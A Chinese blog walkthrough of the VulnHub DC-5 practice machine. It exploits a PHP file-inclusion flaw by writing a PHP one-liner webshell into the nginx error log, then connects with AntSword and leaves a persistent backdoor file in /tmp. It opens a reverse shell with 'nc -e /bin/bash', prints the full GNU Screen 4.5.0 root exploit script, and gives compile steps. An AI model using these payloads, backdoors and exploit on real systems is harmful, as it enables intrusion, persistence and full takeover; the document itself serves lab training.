37_DC-5靶机渗透测试、nmap使用、kail漏洞库使用、系统提权、反弹shell到kali、留后门、蚁剑连接webshell、文件包含漏洞利用、NC用法

环境准备

靶机下载地址:https://www.vulnhub.com/entry/dc-5,314/

百度网盘:https://pan.baidu.com/s/1lqFMjoqQpIl4DA-Amb00pA?pwd=9LJY 

攻击机:kali(192.168.58.130,IP是各自不同的)

靶机:DC-5(192.168.58.148,IP是各自不同的)

下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式,

打开虚拟机那里

打开后就行,不需要知道密码

信息收集

扫描靶机的IP地址

查看本机地址确定靶机网段

┌──(root💀kali)-[~] └─# ifconfig eth0

我这儿设置的虚拟机都在10网段,所以用nmap -sP先扫描网段里的主机

┌──(root㉿kali)-[~/桌面]
└─# nmap -sP 192.168.10.0/24

扫描开放的端口

那么136就是靶机地址,nmap -sV 192.168.10.136 既扫端口也扫版本

┌──(root㉿kali)-[~/桌面]
└─# nmap -sV 192.168.10.136 

开放端口:80、111

web容器:nginx 1.6.2

浏览器访问目标靶机80端口

访问80端口

就只是一些文字,没有啥可利用的位置,只用contact页面能填写东西,随便写点啥提交上去看看

发现也没啥可利用的,但是发现有一个细节,这个页面只要刷新下面的年份也会跟着变

http://192.168.67.31/thankyou.php?firstname=&lastname=&country=australia&subject=

 

猜测这里可能含有一个文件包含漏洞,发现了这个文件,但是还不知道它是怎么包含的,只能靠去猜,使用御剑扫描查看网站结构目录

发现有一个url为http://192.168.67.31/footer.php,查看发现就是这个页面控制着年份改变

所以肯定是包含了这个页面,输入urlhttp://192.168.67.31/thankyou.php?file=

发现底部缺少了年份

验证了我们的猜想,但是这里不确定是否过滤了其他文件

文件包含漏洞

渗透过程

在物理机上开代理访问一下,burp抓包

前面通过信息收集怀疑存在包含漏洞,使用burpsuite抓包

将footer.php改为密码文件/etc/passwd试试,试了shadow文件提示权限就不够了

成功执行,说明确实存在文件包含漏洞,所以现在需要想办法将一句话木马写进去

向日志中写入一句话木马

如果对Nginx比较熟悉

前面信息收集发现网站web容器为nginx,nginx的错误日志文件路径一般为/var/log/nginx/error.log

写入一句话GET /thankyou.php?file=<?php eval($_REQUEST["tedu"]);?>

发现错误日志可以被读取

我们得想办法让Nginx报错,而不是php代码报错,这样的话他才会写到Nginx的错误日志中,

报错了,那就有戏,再去看一下报错的信息

利用文件包含漏洞查看是否写入成功

http://192.168.10.136/thankyou.php?file=/var/log/nginx/error.log

发现一句话木马已写入错误日志中

使用蚁剑连接webshell

http://192.168.10.136/thankyou.php?file=/var/log/nginx/error.log

把自己的那个包含错误信息的地址复制下来,如果没成功,多试几次

经测试这种包含的方式写进去后面的蚁剑能连上,错了就改改,多GO试试几次

发现一句话木马已写入错误日志中

成功连上靶机系统

打开虚拟终端,发现权限较低,开始提权,因为是个$符号,权限比较低

在 /tmp下新建文件 一句话木马(提权之前先留个后门)

在服务器/tmp目录下新建一个shell.php文件,写入一句话木马(下次链接时好链接,万一人家把漏洞补上了,下次就进不去了,自己再留一个后门,也是为了防止Nginx错误日志被清空)

<?php 
@eval($_REQUEST[666]);
?>

新建时,权限不足怎么办,能下载不能上传,所以就得换个位置, /tmp下,一般我们放木马都放在这里边

使用蚁剑虚拟终端反弹shell到kali

        哪种连接比较好,假设内网有防火墙,反向连接会更好因为waf会阻挡正向的流量,但是内部主动去连接防火墙它不会管。如果没有边界的约束,那么正反都无所谓

首先在kali开启监听

NC用法

┌──(root💀kali)-[~]
└─# nc -lvvp 1234         
listening on [any] 1234 ...

        之前学过nc,kail是自带有就不用安装,用过Windows渗透测试的时候,咱上传了nc的木马,通过kail进行连接,nc在很多服务器里面都在,这次通过nv反弹一个shell到kail

使用蚁剑虚拟终端反弹shell到kali

/bin/bash  这个就是shell    命令行

(www-data:/var/www/html) $ nc -e /bin/bash 192.168.67.5 1234 {"code":"ECONNABORTED","timeout":5000}

kali处显示有连接过来 ,为啥要来连上去,因为这边不好用,字又小,好像还不能复制

提权

切换到交互式状态

python -c 'import pty;pty.spawn("/bin/bash")'

因为没有回显看着很难受,而且用kail我们也比较熟,你不做这一步也是可以的,它的作用是通过python的小工具pty这个包调用 pty.spawn方法执行("/bin/bash"),其实就是命令行。

查找设置了SUID的文件

find / -perm -u=s -type f 2>/dev/null   的作用是查找带有SUID权限的命令

www-data@dc-5:~/html$ find / -perm -u=s -type f 2>/dev/null

发现这个screen-4.5.0有点特殊,可以搜搜它有没有常见漏洞,到网上搜是一种方式,kail里也可以搜

查看screen-4.5.0存在的漏洞

kail里面集成了漏洞库,来搜索相关软件的一个漏洞,漏洞利用的脚本

┌──(root💀kali)-[~]
└─# searchsploit    screen 4.5.0                                           
------------------------------------------- ---------------------------------
 Exploit Title                             |  Path
------------------------------------------- ---------------------------------
GNU Screen 4.5.0 - Local Privilege Escalat | linux/local/41152.txt
GNU Screen 4.5.0 - Local Privilege Escalat | linux/local/41154.sh
------------------------------------------- ---------------------------------
Shellcodes: No Results
 

/usr/share/exploitdb/exploits/linux/local/41152.txt

/usr/share/exploitdb/exploits/linux/local/41154.sh

将攻击脚本文件复制到当前目录,我这儿就是保存到了本地桌面

searchsploit -m 41154 

 

        按理来说可以直接将这个,sh文件上传到目标主机中去执行然后提权,但是我试了一下,kail拉文件出来到桌面在从蚂蚁剑文件管理到tmp里加上执行权限,最后不行,因为这个脚本写得有点小问题所以得要单独编译才行,就麻烦些

        查看文件内容

┌──(root💀kali)-[~]
└─# cat  /root/41154.sh                                     
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell  

将41154.sh中上面一部分c语言代码另存为libhax.c,如图-50所示,并编译,编译命令gcc -fPIC -shared -ldl -o libhax.so libhax.c

┌──(root💀kali)-[~]
└─# gcc -fPIC -shared -ldl -o libhax.so libhax.c

将41154.sh中下面一部分c语言代码另存为rootshell.c,如图-51所示,并编译,编译命令gcc -o rootshell rootshell.c

┌──(root💀kali)-[~]

└─# gcc -o rootshell rootshell.c

将41154.sh中剩下部分代码另存为dc5.sh脚本文件,如图-52所示,并在保存dc5.sh文件之前输入 :set ff=unix

将编译过后生成的libhax.so、rootshell和 dc5.sh三个文件复制到DC-5靶机的/tmp目录下,在kali交互模式下进入/tmp,为dc5.sh添加执行权限并运行dc5.sh,发现提权成功,如图-53所示。

获取到flag

进入到/root目录,查看文件thisisthefalg.txt

        基本上就是把这三个文件上传到DC5的tmp目录下,嫌麻烦可以直接套用我编译好的这三个

 

蓝奏云:
https://wwtt.lanzn.com/b00uycq71c
密码:ebp3

DC1~DC9合集(靶场的下载地址和通关教程)

https://blog.51cto.com/u_15127588/2807838

CTF我们称为夺旗赛。capture the flag

有解题模式、攻防模式、混合模式

 知识点:web的、Linux、系统命令、Python
kail漏洞库使用、系统提权、反弹shell到kali、留后门、蚁剑连接webshell、文件包含漏洞利用

  • 17
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值